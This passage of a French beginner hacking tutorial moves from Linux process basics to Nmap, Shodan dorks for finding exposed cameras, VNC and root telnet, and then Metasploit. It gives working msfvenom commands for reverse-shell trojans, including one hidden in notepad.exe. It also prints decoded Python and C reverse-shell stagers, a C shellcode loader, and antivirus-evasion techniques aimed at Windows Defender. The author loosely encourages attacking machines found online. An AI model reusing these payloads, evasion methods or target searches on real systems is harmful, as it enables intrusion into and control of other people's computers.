α PID : le numéro attitré à la tâche
α USER : l’utilisateur qui a lancé le processus
α %CPU : la part de CPU que prend la tâche
α %MEM : la part de RAM que prend la tâche
α TIME+ : le temps écoulé depuis le lancement du processus
α COMMAND : le nom du programme
Il existe d’autres programmes un peu plus claire sur les informations rejetées, je
vous conseille d’utiliser top quand vous êtes sur une machine où il n’y a pas
beaucoup de place ou de privilège, sinon préférez des alternatives comme htop
ou gotop.

134
Une autre commande beaucoup plus pratique pou visualiser les processus est la
suivante :

$ ps

Elle renvoie alors le résultat suivant :

   PID TTY          TIME CMD


90425 pts/2    00:00:00 sh
90426 pts/2    00:00:00 ps

Une deuxième petite explication s’impose :


α TTY : correspond au terminal dans lequel vous exécutez l’opération
α CMD : il s’agit du nom du programme

Pour plus de détail à afficher :

$ ps -an

Si vous voulez plus d’utilisations de cette commande, n’oubliez pas de lire le


manuel :)

135
II. Mettre fin aux tâches
Passons aux choses plus pratiques : comment mettre fin à un processus. Sur
Linux, on appelle ça tuer le démon (« Kill the daemon ») car les tâches sont vus
comme ces derniers (aller savoir pourquoi). On utilisera la commande suivante :

$ kill [PID]

Beaucoup de tâches ne peuvent être tuées car elles sont lancées par le
! super-utilisateur, il faut donc élever vos privilèges sur la machine avant de
pouvoir y toucher.

! Réfléchissez toujours avant de tuer un processus, surtout si celui-ci est


possédé par root. Vous pourriez mettre fin à la session actuelle.

Il existe également une autre commande ciblant le nom du logiciel et non le PID :

$ killall [commande]

Celle-ci va mettre fin à toutes les tâches, quel que soit leur PID, portant le nom de
la commande. Par exemple, si je possède plusieurs fenêtres de terminal ouvertes
et que je tape :

$ killall gnome-terminal

Toutes mes fenêtres vont se fermer. Alors qu’avec kill, je peux les cibler une par
une.

III. Mettre un processus en arrière plan


Voyons dès à présent, dans une dernière partie, comment mettre un processus en
arrière plan sur Linux.
Il existe deux manières différentes de faire. La première, rajouter & à la fin de la
commande :

$ find / > result.txt &

Pratique lorsqu’il faut traiter beaucoup d’informations et que cela va prendre du


temps. De même, elle permet de mettre un processus directement à l’arrière-
plan, ce qui fait qu’une fois lancé, on ne peut plus que le tuer avec les méthodes
présentées plus haut.

136
La deuxième, mettre en pause le logiciel puis le mettre en arrière-plan. Pour ce
faire, laissez-moi d’abord faire un petit point sur les raccourcis claviers qui
pourront vous faire gagner de précieuses minutes :

Ctrl+c Mettre fin à la tâche


Ctrl+d Mettre fin à la session
Ctrl+z Mettre la tâche en fond
Ctrl+w Supprimer le mot sous le curseur
Ctrl+u Supprimer la ligne sous le curseur

Ceci étant fait, vous savez dès à présent que pour mettre un logiciel en pause, il
vous suffira de presser ctrl et z en même temps.
Une fois ceci fait, tapez la commande suivante pour mettre le démon en fond :

$ bg

Si vous voulez remettre n’importe quelle commande à l’avant-plan, utilisez :

$ fg

Si vous voulez observez la liste des tâches s’exécutant en fond :

$ jobs

Permettez-moi également de vous montrer comment on peut enchaîner les


processus en une seule ligne de commande, cela pourra vous être utile dans la
prochaine partie :

$ mkdir archives; cd archives

Peut également être formulée comme ceci :

$ mkdir archives && cd archives

137
Les services sont les programmes qui tournent constamment en arrière plan sur
votre machine, dons l’optique d’être consulté par un utilisateur. Ils portent bien
leur nom, car finalement ils sont là pour proposer un service à un client, c’est
d’ailleurs de là également que vient la nomination « serveur » pour qualifier un
ordinateur n’étant créé que pour subvenir aux besoins d’une multitude de clients.
Bien que vous ne soyez pas en possession d’un data-center, votre machine,
comme n’importe quel autre, est capable d’accueillir des services. Vous serez
amené plus tard à en télécharger sur votre machine. SI je fais cette partie c’est
surtout pour donner de plus amples informations sur quelques-uns des services
que vous serez amenés à rencontrer dans les prochains chapitres.

Port de référence Nom du service But

80, 443 http(s) Web


21 ftp Base de fichiers
22 ssh Console à distance sécurisée
23 telnet Console à distance
137, 445 netbios & microsoft-ds Accès à distance Microsoft
25 smtp Mail
110 pop3 Mail
53 domain Nom de domaine et redirection
3306 mysql Base de données
5900 vnc Écran virtuel
1434 ms-sql-m Base de données Microsoft

Référez-vous à ce tableau dans les prochains chapitres. Bien que volontairement


incomplet, il vous permettra d’obtenir facilement le déclic vis-à-vis de certains
ports.
Il faut ajouter que certains services comme pop3, smtp ou imap ne sont pas
exploitables (ou très difficilement), inutile donc de vous y attaquer en tant que
débutant.

138
Reconnaissance et Analyse

Nmap et le FootPrinting
Nmap est un logiciel permettant d'effectuer plusieurs opérations de
reconnaissances sur les réseaux.

Pour l'installer sur une machine se basant sur Debian (Ubuntu, Kali) :

# apt install nmap

I. Utilisation de Nmap

Avant de viser une machine en particulier, ils nous faut déjà faire la liste de celle
présente sur le réseau. Pour ce faire :

$ nmap -sP [ipDuRéseau]/[masque]

Astuce : enregistrez vos découvertes à l'intérieur d'un fichier texte ou d'un logiciel
comme CherryTree, vous pourrez les retrouver plus facilement pour les réutiliser.

Cette commande est bien pratique mais s'avère rapidement peu utile quand
nous sommes en face d'un très grand réseau avec plusieurs centaines de
machines. Vous ne vous servirez pas souvent de la commande suivante,
cependant elle peut s'avérer pratique dans ce cas précis pour trouver des ports
ouverts spécifiques :

$ nmap -sT -p [ports séparés d’une virgule] [ip]/[masque]

Pour aller plus loin dans la reconnaissance, nous allons lister tous les porst
ouverts d'une machine :

$ nmap -sT [ip]


Il se peut parfois qu'il nous faille plus d'informations sur une machine, par
exemple : son os, son domaine, etc...

139
$ nmap -A [ip]

Pour obtenir plus d'actions possibles avec nmap, consultez la documentation en


ligne : https://nmap.org/docs.html

Ou alors lisez le putain de manuel :

$ man nmap

II. A quoi servent tous ces ports ouverts ?

Les ports sont utilisés en réseau pour qu’une application puisse dialoguer
sur votre connexion. Par exemple, le port 80 est utilisé par HTTP, le protocole de
transmission non-chiffré des documents HTML. Quand votre machine possède ce
port ouvert, cela signifie qu’elle est à l’écoute et répondra à toutes requêtes, avec
l'application qui lui sert de serveur (apache2, nginx, etc.), quand elles se
présentent sur le port 80.

Beaucoup de ports sont standardisés, c'est à dire qu'ils sont très souvent les
mêmes sur toutes les machines et je vous encourage à retourner voir la partie sur
les services pour les reconnaître. Internet est également votre meilleur allié face à
une application inconnue au bataillon.

Ce sont les plus courants et ceux qui vous intéresseront le plus bien souvent.

III. Aller plus loin : NSE

NSE : Nmap scripting engine

Comme son nom anglais l'exprime si bien, il s'agit d'un système de script qui va
permettre l'automatisation de certaines tâches par nmap.

Ces scripts sont écrits en Lua, langage de programmation assez simple à


comprendre et assez proche du python. Pas besoin de forcément l'apprendre car
des scripts complets existent en ligne. De plus, ils en existent également à
l'intérieur de votre ordinateur dans le répertoire /usr/share/nmap/scripts

Vous pouvez obtenir la liste avec : ls /usr/share/nmap/scripts

Dans un premier temps, placez-vous dans le répertoire des scripts :

140
$ cd /usr/share/nmap/scripts

Sans plus tarder, la commande permettant d'utiliser :


$ nmap --script [nom du script] [ip]

Petits exemples :
Je souhaite utiliser le script par défaut (qui porte le nom default) sur la machine
192.168.1.107 :

$ nmap --script=default 192.168.1.107

Je souhaite utiliser le script vulners.nse sur l'IP 192.168.1.107 :

$ nmap --script=vulners.nse 192.168.1.107

IV. A quoi ça sert ?

Nmap vous a permis de faire votre reconnaissance du réseau. Vous savez dès à
présent quels ports sont ouverts sur quelles machines. Avec certains scripts, vous
allez pouvoir être en mesure de détecter certaines failles pour certains ports. Les
failles que vous pourrez analiser avec nmap seront toujours présentes dans les
applications et ne concernent pas la partie réseau.

! Bien que Nmap soit gratuit et disponible à tous, son utilisation sur une
machine sans l’accord de son propriétaire est illégale.

Je rajouterai pour les phobiques de la console qu'une version graphique existe


aussi : zenmap

141
Recherche et Dorks
Dans ce chapitre, un peu plus tranquille que la moyenne, on va améliorer vos
recherches internet et ce dans le but de trouver plus facilement les informations
correspondantes à vos attentes, ainsi que des machines présentant des
vulnérabilités.

I. Les Google Dorks


Les Google Dorks sont un modèle de recherche présent sur à peu près tous les
moteurs de recherches dignes de ce nom. Il s’agit d’une syntaxe particulière
permettant d’affiner une recherche, un peu comme une sorte de filtre. Il en existe
une multitude dont voici un échantillon :

+”” Le résultat doit contenir le texte entre guillemets

-”” Le résultat ne doit pas avoir le bout entre guillemets

filetype:”” Précise l’extension souhaitée (ex : pdf, log, txt, jpg))

inurl:”” L’URL doit contenir le texte entre guillemets

intitle:”” Le titre doit contenir le texte entre guillemets

site: Tous les résultats proviennent du même domaine

link: Liste les pages ayant un lien vers l’adresse spécifiée

Toutes ces requêtes possèdent leur homologue négatif. Par exemple, mettez un
moins devant inurl, et aucun résultat n’aura l’URL spécifiée

II. Shodan, la base de données des Hackers


Laissez-moi dès à présent vous présenter un site bien pratique, j’ai nommé
Shodan : https://www.shodan.io/
Dessus, vous avez la possibilité de faire vos petites recherches afin de trouver une
ou deux machine vulnérables et de les exploiter. Bien sûr je n’encourage
absolument pas ce genre de pratique mais qui serai-je pour vous dissuader de
commettre l’irréparable.
Un rapide tour s’impose, ainsi que quelques explications pour que vous puissiez
pleinement tirer parti de cet énorme avantage.

142
Je vous conseille de vous créer un compte, c’est gratuit et ça ne coûte rien. Si
vous n’avez pas envie d’utiliser votre adresse e-mail, ce que je comprends
évidemment, utilisez cet autre site qui vous en fournira une pleinement
fonctionnelle : https://gpa.lu/
A présent quelques dorks :

Géographie

Requête Effet Exemple


city Trie en fonction d’une ville city:”Paris”

country Trie en fonction d’un pays country:”FR”

Machine

hostname Renvoie les résultats ayant la même adresse hostname:”google”

org Trie en fonction d’une entreprise / org org:microsoft

os Trie en fonction d’un Système d’exploitation os:”Windows 10”

port Trie en fonction d’un port port:21

device Trie en fonction d’une infrastructure device:printer

Services
product Trie en fonction de la présence d’un service product:apache

“” Ce texte doit être présent dans le scan “product:MySQL”

143
Ce sont les requêtes les plus générales et les moins développées que vous
puissiez faire. Je vais vous lister une petite gamme de mes préférés, bien plus
complexes et qui peuvent parfois impressionner vos connaissances :
α http.title:"Index of /" http.html:"DVWA" → Retourne tous les
serveurs web ayant DVWA d’installée, vous pouvez remplacer ce mot par ce
que vous voulez et tous les serveurs web alors renvoyés comporteront ce
mot.
α "in-tank inventory" port:10001 → Retourne des pompes à essence
α mikrotik streetlight → Retourne des feux de signalisation
α "authentication disabled" port:5900,5901 → VNC non protégée
α "authentication disabled" "RFB 003.008" → VNC non protégée
α hacked-router-help-sos → routeur compromis
α "MongoDB Server Information" port:27017 -authentication →
interface MongoDB, les anciennes versions ne sont pas protégées
α "root@" port:23 -login -password -name -Session → Telnet mais avec
la connexion en super-utilisateur, le travail est déjà fait.
α "Android Debug Bridge" "Device" port:5555 → ADB est ouvert, vous
pouvez exploiter la machine avec ce logiciel https://github.com/jaykali/ghost
α http.html:"* The wp-config.php creation script uses this file" →
WordPress mal configuré, les codes d’authentification de la base de données
peuvent être accessibles
α Caméra :
γ title:camera
γ webcam has_screenshot:true
γ "Server: IP Webcam Server" "200 OK"
γ NETSurveillance uc-httpd
γ ("webcam 7" OR "webcamXP") http.component:"mootools" -401
α "Minecraft Server" "protocol 340" port:25565 → Des serveurs
minecraft

Plus de requêtes ici : https://github.com/lothos612/shodan

Vous êtes maintenant capable de trouver une machine, repérer des ports ouverts
sur cette dernière et donc potentiellement des failles. Passons à l’étape suivante,
l’exploitation de ces dites failles !

144
Exploiter des failles

Metasploit et Exploit-db

Metasploit (MSF) est le véritable couteau-suisse des Hackers. Il comprend la


plupart des outils nécessaires pour exploiter des machines.

I. Installer Metasploit

Simplement avec cette commande :

# curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall; chmod 755 msfinstall; ./msfinstall

II. Rapide tour de Metasploit

Metasploit est un Framework, il offre donc un ensemble de programme tous


accessible depuis un logiciel commun. La particularité de MSF est qu’il s’ajoute à
bash (ou autres interpréteurs de commandes), ainsi, il agit comme une véritable
console.

Les programmes fournis sont présents dans un dossier et il faut les appeler avant
de les exécuter et définir des variables qu’ils pourront utiliser.

Avant toutes choses, MSF a besoin d’une base de donnée afin de stocker certaines
données de vos victimes ou d’établir une connexion (ou encore, afin de piéger
quelqu’un avec de l’ingénierie sociale).

# msfdb init

Cela devrait la démarrer, en cas d’erreur, une petite recherche internet devrait
permettre de résoudre le problème.

Démarrer Metasploit :

145
# msfconsole

Comme tous framework, la commande help renvoie des informations utiles sur les
différentes nouvelles commandes disponibles.

Pour une fois, je n’expliquerai pas beaucoup pour vous laisser mener vos propres
recherches sur ce fantastique logiciel. En effet, un guide de 300 pages ne suffirait
pas à couvrir l’entièreté des possibilités qu’offre le programme… Je vous laisse
donc lire la page d’aide.

III. Utilisons notre premier module

Je souhaite réaliser une attaque DOS (Denial of Service) sur un serveur Web.
Commençons par chercher un module intéressant pour nos besoins :

search DOS

Cela va nous donner une liste de programme ayant le mot DOS dans leur nom ou
leur description

Parmi les nombreuses propositions de cette liste, auxiliary/dos/tcp/synflood


semble être la plus intéressante.

Je décide donc de l’utiliser :

use auxiliary/dos/tcp/synflood

Ici, un numéro est attribué à l’auxiliaire, j’aurais donc bien pu taper (dans mon
cas) :

use 74

Avec une autre commande, nous allons obtenir la liste des valeurs à donner pour
lancer notre petite attaque :

show options

La colonne name désigne le nom de la variable ; current setting, sa valeur ;


Required, s’il est obligatoire de le renseigner ; Description, une courte description
de la variable (à quoi elle sert).

146
On voit que des valeurs sont déjà renseignées, dans ce type d’attaque, on ne
modifie généralement que deux paramètres, RHOST et RPORT, respectivement
l’adresse IP de la victime ainsi que le port à viser.

On doit donc les renseigner en fonction de ce que l’on veut :

set RHOST 172.17.0.250

set RPORT 3128

Attention, ce n’est pas parce que je mets RPORT sur 3128 que vous devez le faire.
Pour ceux n’ayant aucune connaissance en réseau, le port renvoie à une
application spécifique, 3128 n’est qu’un exemple parmi d’autre et seul une
analyse avec Nmap vous dira quels services sont présents sur quel port…

Une fois les variables renseignées, il n’y a plus qu’à lancer l’exécution :

exploit

Cet exemple est bien sommaire. Cependant, il vous a sûrement permis de


comprendre l’utilisation la plus basique de Metasploit !

IV. Vocabulaire

Metasploit utilise le vocabulaire des hackers, les vrais. Loin de là l’idée que nous
sommes des hackers, mais utiliser leur vocabulaire facilitera la compréhension de
la documentation.

Payload : il s’agit du code que l’on va injecter à l’intérieur de la machine et qui va


servir de pont entre nous et la victime. Le plus connu des payload est
meterpreter, avec l’on peut par exemple se balader dans les fichiers, prendre des
photos ou carrément installer des logiciels.

Exploit : c’est un code qui va exploiter une vulnérabilité…

Vulnérabilité : Faiblesse d’un système, représente un danger. Les vulnérabilités


sont des bouts d’un programme qui sont mal conçus et pour x ou y raison
peuvent être exploitables (ou pas)

module : application que l’on peut importer dans Metasploit

147
Backdoor : Programme installer sur la machine de victime rendant l’accès à son
ordinateur plus simple dans le cas où nous devrions y retourner

D’autres mots existent mais ceux-ci demeurent les plus importants à connaître.
On verra le reste au fur et à mesure…

V. Meterpreter, la prise de contrôle de la machine simplifiée


Comme vu plus haut, meterpreter est un payload (mais aussi un shellcode), il va
nous permettre de faire la liaison entre notre machine et celle de ma victime. Afin
de simplifier la suite, la victime sera une machine sur Windows XP sans antivirus
installé sur Virtualbox.

Si on cherche meterpreter dans la liste des modules de Metasploit, on peut voir


qu’il existe beaucoup de logiciel l’utilisant. Généralement, pour prendre le
contrôle d’une machine à l’aide d’un exécutable, on utilise
windows/meterpreter/reverse_tcp. Avant de l’utiliser, il va falloir déjà appeler
le programme Handler qui va nous permettre de gérer les payloads hors de la
console MSF.

use exploit/multi/handler

Puis enfin :

set payload windows/meterpreter/reverse_tcp

Il y a deux options à remplir impérativement, LHOST et LPORT, c’est-à-dire votre


IP et le port que lequel votre machine va écouter en vu d’éventuelle connexion.

Attention : LHOST peut être soit votre IP publique, soit votre IP privé. En effet,
pour toutes attaques sur votre réseau, prenez la privée. En revanche, lorsque
vous vous attaquez à quelqu’un hors de votre réseau, il va falloir renseigner votre
IP publique. De plus, il vous faudra rediriger les ports (port forwarding) pour que la
machine extérieure puisse se connecter.

Maintenant que vous êtes des professionnels dans l’utilisation des variables, vous
pourrez aisément continuer :)
N’oubliez pas une fois fini de lancer l’attaque.

Passons donc maintenant à la partie fabrication du trojan (cheval de Troie =


shellcode).

Ouvrez un nouveau terminal en laissant l’autre de côté.

148
On va pour se faire utiliser msfvenom (msfpayload + msfencode, pour les
anciennes versions).
Le plus simple reste de faire de cette manière :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.19


LPORT=4444 -f exe > trojan.exe

α -p : payload utilisé


α LHOST : variable, doit prendre la même valeur que dans MSF
α LPORT : variable, doit prendre la même valeur que dans MSF
α -f : format utilisé pour l’application, ici exe
α > trojan.exe : flux de redirection classique Linux + le nom du fichier dans
lequel on veut enregistrer notre trojan

Modifiez les paramètres en fonction de ce que vous avez besoin et installez le


fichier sur la machine de la victime.

Petite précision, vous pouvez obtenir la liste des différents payload, format ou
d’autre chose en utilisant le paramètre -l, ex :

$ msfvenom -l payloads

Metasploit devrait vous avertir qu’une session est ouverte et vous basculez
automatiquement en mode meterpreter. Tapez help pour avoir un aperçu de ce
qu’il est possible de faire !

VI. Un cheval de Troie plus complexe

Les trojans que propose Metasploit sont très simples et facilement détectables, il
faut donc pratiquer ce qu’on appelle une « évasion ». Évader (je traduis depuis
l’anglais où le terme « evading » est utilisé) son cheval de Troie, c’est lui donner la
capacité d’outrepasser les antivirus.

Les techniques sont nombreuses et parfois très complexes, je vous en donnerai


quelques-unes des miennes…

Commençons par la première, qui va être un peu complexe à comprendre. On va


se servir d’un exemple de code lisible produit par Metasploit :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py

149
Ceci nous renvoie le pavé suivant :

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
...
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"

Ce n’est toujours pas vraiment très lisible à nos yeux de simple mortel, mais ça
l’est déjà plus que si vous essayiez de déchiffrer le format exe. À l’intérieur de ce
pavé se trouve ce qu’on appelle des « badchars » (mauvais caractères), et ils sont
assez facilement reconnaissables quand vous avez l’habitude de faire des scripts
dans ce genre :
α \x00 : bite nulle
α \x0a : nouvelle ligne
α \x0d : retour de chariot (oui ça existe sur un ordinateur)
α \x20 : espace

Pour les enlever automatiquement du code, vous pouvez rajouter l’option -b :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py -b “\x00\x0a\x0d\x20”

Metasploit va alors essayer de chiffrer votre cheval de Troie en utilisant un


algorithme compatible avec le langage utilisé. Bien sûr, les « encoders »
(algorithmes de chiffrement) peuvent faire bien plus que de la suppression de
mauvais caractères. Vous pouvez obtenir la liste de ces algos en tapant :

$ msfvenom -l encoders

Le meilleur algo de cette liste est sans aucun doute shikata_ga_nai (traduit depuis
le japonais : « il ne peut être aidé », phrase populaire japonaise désignant un
individu que l’on ne peut sauver du danger en raison de la dette énorme qu’il
aurait envers nous).

Vous pouvez utiliser les encoders à l’aide des paramètres -e et -i :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py -e x86/shikata_ga_nai -i 10

-i spécifie alors le nombre fois où le cheval de Troie va être chiffré (ici 10). Ne
mettez un nombre trop grand, c’est inutile et ça ne fera que ralentir la machine.

150
Maintenant que nous avons vu comment chiffrer son code à l’aide d’un trojan bien
plus simple à comprendre, passons à un code un peu plus brut. Si vous aviez
essayé de remplacer l’extension py par exe dans les commandes précédentes
pour voir si vous arriveriez à échapper à l’antivirus, vous auriez eu la mauvaise
surprise de revoir votre ami Avast s’énerver. Les algorithmes que nous avons
utilisés ont beau être performant, ils sont vieux et facilement reconnaissables par
les AV. Il va donc falloir truander, une des spécialités du hacker.

Commençons simple, cachons notre bout de code dans un exécutable :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -x notepad.exe -k -f exe -o virus_notepad.exe

Précisions :
α -x : spécifie un exécutable déjà existant dans lequel va s’injecter notre code.
α -k : va permettre au trojan de s’exécuter dans un autre thread (comprenez
processus ici) ce qui aura pour effet de laisser l’application principale
tourner de son côté sans gêner son exécution.
α -o : spécifie le nom du fichier dans lequel sera enregistré notre projet.

Rentrons maintenant dans des sujets plus complexes pour réussir à faire
fonctionner nos trojans évadés.

VII. Structure d’un cheval de Troie


Depuis tout à l’heure, nous parlons de Trojan et je vous donne l’impression
d’oublier de grandes parties de Metasploit. N’ayez crainte, tout ce que l’on voit là
vous permettra de saisir ce qui se passe sur votre machine ou sur celle de votre
victime. Libre à vous dès lors de continuer votre lecture sur Metasploit et de ne
pas passer directement à exploit-db, je vous encouragerai plutôt à abandonner
cette partie pour le moment et à vous comporter comme un script kiddie pour la
simple et unique raison que vous ne retiendrez rien de ce que l’on va étudier
avant d’en avoir l’utilité.

Sur un ordinateur, le code que vous exécutez doit être compilé pour que la
machine puisse le comprendre. Pour le moment, vous n’avez vu qu’un langage de
niveau assez bas, le shell, mais vous savez très bien que l’informatique regorge
d’étrangeté parfois inutile.

151
Ainsi, nous sommes passés de langage
comme le C qui était de niveau plutôt bas,
à des monstres comme python qui
ressemblent presque à la langue anglaise.
Comprenez bien que par « niveau » on
entend « à quel point est il proche du
langage humain ».

Comme vous pouvez le voir sur ce schéma


fait maison, l’assembleur est le langage de
plus bas niveau possible (hors binaire et
matériel). C’est donc le langage le plus
proche de ce qu’une machine peut
comprendre, mais également le plus dur à
comprendre.

Nous allons dès à présent voir en quoi ce


langage peut nous être utile pour la
fabrication de nos codes malicieux.

Fabriquez donc un petit trojan en python avec msfvenom :

$ msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200

Le résultat obtenu est :

exec(__import__('base64').b64decode(__import__('codecs').getencoder
('utf-8')('aW1wb3J...zpzfSkK')[0]))

Si vous décodez depuis base64 le code entre parenthèses, cela vous donnera :

$ echo "aW1wb3J...zpzfSkK" | base64 -d


import socket,zlib,base64,struct,time
for x in range(10):
       try:
               s=socket.socket(2,socket.SOCK_STREAM)
               s.connect(('192.168.1.1',4200))
               break
       except:
               time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
       d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

152
Ceux qui ont déjà fait du python reconnaîtront les caractéristiques du code :
α importation des librairies nécessaires
α Boucle pour tenter de se connecter à l’IP spécifiée sur le port spécifié
α 5 secondes d’écart entre chaque tentative
α Envoi du shellcode dans la dernière partie

Python est bien pratique car il n’y a aucun besoin de le compiler pour l’envoyer, la
machine de la victime s’en chargera tout seul à partir du moment où python est
installé sur cette dernière. Mais ce n’est pas toujours le cas (et presque jamais
même), il faudra donc passer par un script compiler et pouvant être exécuté par
le système d’exploitation de la victime.

Essayons avec ce cheval de Troie pour Linux écrit en C :


#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUF_SIZE 500

int main(int argc, char *argv[])


{
int i = 0;
char lhost[] = "192.168.1.100";
int lport = 4200;
float nb = 2000000.0;
while(i < nb)
{
i++;
}
if(i > 100000)
{
int sfd;
char buf[BUF_SIZE];
struct sockaddr_in servaddr, cli;
int tmp = 0;

sfd = socket(AF_INET, SOCK_STREAM, 0);


bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_aton(lhost, &servaddr.sin_addr);
servaddr.sin_port = htons(lport);
if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
0;
else
close(sfd);
while (read(sfd, buf, BUF_SIZE) > 0)
{
int (*foo)() = (int(*)())buf;
tmp = foo();
}
}
}

153
Remplacer lhost et lport par les valeurs qui conviennent puis compiler avec :

$ gcc trojan.c -o trojan.out

Essayer d’exécuter le fichier obtenu sur une machine Windows, vous n’y arriverez
pas ! Et ceci car la manière dont fonctionnent les exécutables n’est pas la même.
Compilez maintenant avec :

$ gcc -S trojan.c

Ouvrez ensuite le nouveau fichier trojan.s. Celui-ci est écrit en assembleur et ne


doit pas vous sembler très digeste (que ça soit à première vu ou d’un œil avec de
l’expérience). C’est vers ce langage qui n’est déjà pas compréhensible que se
rapproche votre cheval de Troie quand vous le compilez. Cette petite parenthèse
m’a permis, je l’espère, de vous rappeler que tout langage informatique étant
exécuté doit d’abord être transformé en quelque chose de digeste pour la
machine.

Toutes ces instructions que vous voyez ont pour but de déplacer des données
d’une case mémoire à une autre la plupart du temps. Votre processeur, lorsqu’il
exécute ce code, le fait de manière purement linéaire. Or, en assembleur, il est
possible de rajouter des instructions inutiles (comme dans n’importe quel langage
informatique) en déplaçant des valeurs d’un registre à un autre sans réel but.
Beaucoup d’antivirus, face à ce genre de mouvements, ne sauront pas
reconnaître la dangerosité du programme.

Metasploit possède ce que l’on appelle des NOP (No operation), qui sont un
ensemble d’instructions inutiles ajoutées avant un trojan. Ce n’est pas parfait, et
les meilleurs NOP seront toujours ceux faits à la main, mais c’est déjà un bon
départ. Concrètement, on va juste demander à Metasploit d’ajouter des
déclarations de variables à tire-larigot pour brouiller les pistes.
Pour ce faire, utilisez le paramètre -n et spécifiez ensuite le nombre de NOP que
vous voulez :

$ msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py -n 30

Vous pouvez également le combiner avec un encoder :

$ msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py -n 30 -e x86/shikata_ga_nai

154
Accessoirement, évitez de garder les noms de variables inchangés, ils sont
beaucoup trop clairs et reconnaissables facilement. Utilisez l’option -v pour les
changer :

$ msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f py -v ma_variable

Avec ce genre de techniques, vous devriez être capable d’échapper à pas mal
d’antivirus. Personnellement, en faisant mes NOP moi-même et en rechiffrant mes
trojans, j’arrivais souvent à ne pas être détecté, quel que soit l’AV.

VIII. Évasion

On désigne par évasion, la tentative pour un hacker de contourner la sécurité d’un


antivirus. Pour continuer à lire cette partie, il est nécessaire d’avoir les
connaissances de base du langage C.

Pour suivre cette partie, nous nous baserons sur un shellcode fait pour Windows.
Nous allons essayer de le rendre totalement indétectable pour Windows Defender.

Tout d’abord, générons le code du shell code en C :

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1


LPORT=4200 -f c -e x86/shikata_ga_nai -i 10 -n 30 -v banane R

Il va ensuite falloir inscrire le code à l’intérieur d’un fichier C à l’aide des lignes qui
vont suivre. Nous allons ensuite user de différentes stratégies pour casser
l’Antivirus (Source française : https://www.kali-linux.fr/forum/index.php?topic=2973.0).

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main(int argc, char * argv[]) {


unsigned char banane[] =
"\x93\x92\x40\x3f\xfd\xd6\x9b\x90\x9b\xd6\x9b\x9b\x48\x91\x27"
"\x2f\x93\xf5\x43\x3f\xfd\x49\xf8\x2f\x40\x37\x98\x93\x9b\x41"
"\xbd\xf9\xbb\xea\x33\xdb\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x96\x31\x6a\x13\x03\x6a\x13\x83\xc2\xfd\x59\x1f\x88\xab\xab"
...

155
"\x40\xf6\x13\xf1\x89\x4a\x8e\xe1\xb5\x8a\x42\x98\x01\xf6\x40"
"\x8e\xf2\x1e\x90\x67\x35\xbf\xb3\x33\xba\x31\xd9\xf0\xa0\x45";

int (*ret)() = (int(*)())banane;


ret();
return 1 ;
}

Vous reconnaissez que la ligne unsigned char banane[] correspond au code que
vous a renvoyé Metasploit. Si vous changez le nom de la variable, ce que je peux
comprendre, car le mot banane n’est pas parmi les meilleurs, n’oubliez pas de le
changer également dans le pointeur.

IX. Exploit-db

Exploit-db est une base de donnée regroupant une multitude d’exploitations. Vous
n’aurez plus qu’à trouver celui qui convient à votre cas, puis à l’utiliser.

Commande pour l’installer :

# git clone https://github.com/offensive-security/exploitdb.git /opt/exploit-database


# ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit

Vous avez la possibilité dès à présent de faire une recherche avec :

$ searchsploit [exploit]

156
Le BruteForce

La méthode BruteForce consiste à tester toutes les possibilités pour trouver


un mot de passe. C’est une technique très simple qui peut demander beaucoup
de temps, on préférera donc l’utiliser en dernier recours ou en même temps
qu’une autre attaque (au cas où). Pour plus d’informations sur le vocabulaire
employé, référez-vous au chapitre sur la cryptographie.

Pour faire nos expériences, on se basera sur un hash très simple que vous pouvez
obtenir avec la commande suivante :

$ echo "12345" | md5sum | tr -d “ -”


d577273ff885c3f84dadb8578bb41399

Collez-le à l’intérieur d’un fichier nommé pass.txt.

Accessoirement, vous aurez également besoin de dictionnaires, c’est-à-dire de


grandes listes de mots constituant un ensemble de possibilité de mot-de-passe.
Vous en trouverez à cette adresse : https://github.com/danielmiessler/SecLists.

I. John The Ripper, l’attaque sur CPU

John The Ripper est l’outil de cracking préféré des hackers. Il utilise les ressources
du processeur (CPU) pour attaquer, ce qui en fait un outil facile à installer par
apport à d’autre, et qui donne l’avantage d’avoir de bonnes performances sans
carte graphique (dans la limite de la puissance de l’ordinateur).

Pour l’installer, soit vous passez par GitHub, soit par snap :

# apt install john

John The Ripper, que l’on va appeler JtR maintenant, offre de nombreux
